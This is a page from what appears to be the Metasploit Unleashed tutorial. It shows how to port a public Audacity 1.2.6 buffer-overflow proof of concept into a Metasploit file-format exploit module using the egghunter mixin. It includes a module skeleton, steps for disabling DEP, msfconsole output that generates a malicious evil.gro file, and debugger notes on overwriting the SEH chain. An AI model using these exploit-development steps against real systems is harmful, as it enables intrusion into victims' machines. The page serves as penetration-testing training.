Using the Egghunter Mixin a11y.text Using the Egghunter Mixin Going on an Egg-hunt a11y.text Going on an Egg-hunt The MSF egghunter mixin is a wonderful module which can be of great use in exploit development. If youâ€™re not familiar with the concepts of egghunters, read this first . A vulnerability in the Audacity Audio Editor presents us with an opportunity to examine this mixin in greater depth. In the next module, we will exploit Audacity and create a Metasploit file format exploit module for it. We will not focus on the exploitation method itself or the theory behind it â€“ but dive right into the practical usage of the Egghunter mixin. Please note, the following example uses Microsoftâ€™s Windows XP SP2 as itâ€™s target. If you wish to reproduce the following youâ€™ll need to setup your own VM. If SP2 is not available to you, SP3 can be used but make sure to disable DEP in C:\boot.ini using the following: /noexecute=AlwaysOff Setting up our Egg-hunt a11y.text Setting up our Egg-hunt Download and install the vulnerable Audacity software on your XP SP2 box: Audacity 1.2.6 LADSPA Plugins Download and examine the original PoC, taken fromÂ : https://www.exploit-db.com/exploits/7634/ Porting the Egghunter PoC a11y.text Porting the Egghunter PoC Letâ€™s port this PoC to an MSF file format exploit module. We can use an existing module to get a general template. The zinfaudioplayer221_pls.rb exploit provides us with a good start. Our skeleton exploit should look similar to this. Notice our buffer being generated here: def exploit

```
    buff = Rex::Text.pattern_create(2000)
    print_status("Creating '#{datastore['FILENAME']}' file ...")
    file_create(buff)
```

end We use Rex::Text.pattern_create(2000) to create a unique string of 2000 bytes in order to be able to track buffer locations in the debugger. Once we have the PoC ported, we generate the exploit file and transfer it to our Windows box. Use the generic/debug_trap payloads to begin with. msf exploit(audacity) > show options

Module options:

Name Current Setting Required Description

---- --------------- -------- -----------

FILENAME evil.gro yes The file name.

OUTPUTPATH /var/www yes The location of the file.

Payload options (generic/debug_trap):

Name Current Setting Required Description

---- --------------- -------- -----------

Exploit target:

Id Name

-- ----

0 Audacity Universal 1.2

msf exploit(audacity) > exploit

[*] Creating 'evil.gro' file ...

[*] Generated output file /var/www/evil.gro

[*] Exploit completed, but no session was created.

msf exploit(audacity) > We open Audacity, attach a debugger to it and import the MIDI gro file.

Audacity Egg-hunt | Metasploit Unleashed We immediately get an exception from Audacity, and the debugger pauses: Following our Audacity Egg-hunt | Metasploit Unleashed A quick look at the SEH chain shows that we have overwritten an exception handler. Audacity Structured Exception Handler -Egg-hunt | Metasploit Unleashed We take the exception (shift + F9), and see the following: Finding our Shellcode with an Egghunter | Metasploit Unleashed Next Completing the Exploit Prev Getting a Shell